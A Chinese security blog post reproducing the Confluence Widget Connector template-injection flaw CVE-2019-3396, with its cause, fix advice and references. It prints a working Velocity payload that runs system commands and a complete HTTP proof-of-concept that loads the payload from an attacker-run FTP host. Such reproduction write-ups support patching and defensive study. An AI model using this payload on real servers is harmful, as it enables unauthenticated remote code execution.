一直在路上

Confluence 未授权RCE(CVE-2019-3396)

    漏洞复现

  1. 漏洞描述
  2. 漏洞详情
  3. 漏洞复现
  4. 修复方案
  5. 参考链接

漏洞描述

Atlassian公司的Confluence Server和Data Center产品中使用的Widget Connector组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞。攻击者可以利用该漏洞实现对目标系统进行路径遍历攻击、服务端请求伪造(SSRF)、远程代码执行(RCE)。

漏洞详情

描述指出漏洞点是Widget Connector,漏洞触发在于外部传入的_template参数。
加载外部的链接时,会调用相对的模板去渲染,这有可能造成模板注入。
通过查看Widget Connector里面的Renderer,大部分是不能设置_template的,直接写死了。不过也有一些例外,如Youtube,Viddler,DailyMotion等,是可以从外部传入_template的。
通过模板注入可以读取Confluence目录下的文件如/WEB-INF/web.xml,部分版本如6.9.0可以通过file://协议跳出目录限制。不仅如此,还可以使用http://https://等协议获取远程的对象,这意味着SSRF漏洞的存在。
将Cookie删掉,仍可以读取文件,说明此漏洞不需要权限。大多仅校验Referer
当返回的url不为null时,会调用url.openStream()获取数据,最终获取到数据给Velocity渲染。
既然可以加载本地和远程模板,同样意味着可以尝试进行RCE。
关于Velocity的RCE,基本上payload都来源于15年blackhat的服务端模板注入的议题,但是在Confluence上用不了,因为在调用方法的时候会经过velocity-htmlsafe-1.5.1.jar,里面多了一些过滤和限制。但是仍然可以利用反射来执行命令。
python -m pyftpdlib -p 2121开启一个简单的ftp服务器,将payload保存成rce.vm,保存在当前目录。
_template设置成ftp://[your_ip]:2121/rce.vm,发送,即可执行命令。

漏洞复现

rce.vm:

1
2
3
4
5
6
7
8
9
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

Poc:

1
2
3
4
5
6
7
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: x.x.x.x
Content-Type: application/json; charset=utf-8
Referer: http://x.x.x.x/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Length: 204

{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/b307c6f8","width":"300","height":"200","_template":"ftp://[your-ip]/rce.vm","cmd":"ls"}}}

修复方案

1、升级Confluence版本
2、主动升级widgetconnector-3.1.3.jarwidgetconnector-3.1.4.jar

参考链接

Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析
漏洞预警 | Confluence Server 远程代码执行漏洞
CVE-2019-3396_EXP

页阅读量:  ・  站访问量:  ・  站访客数: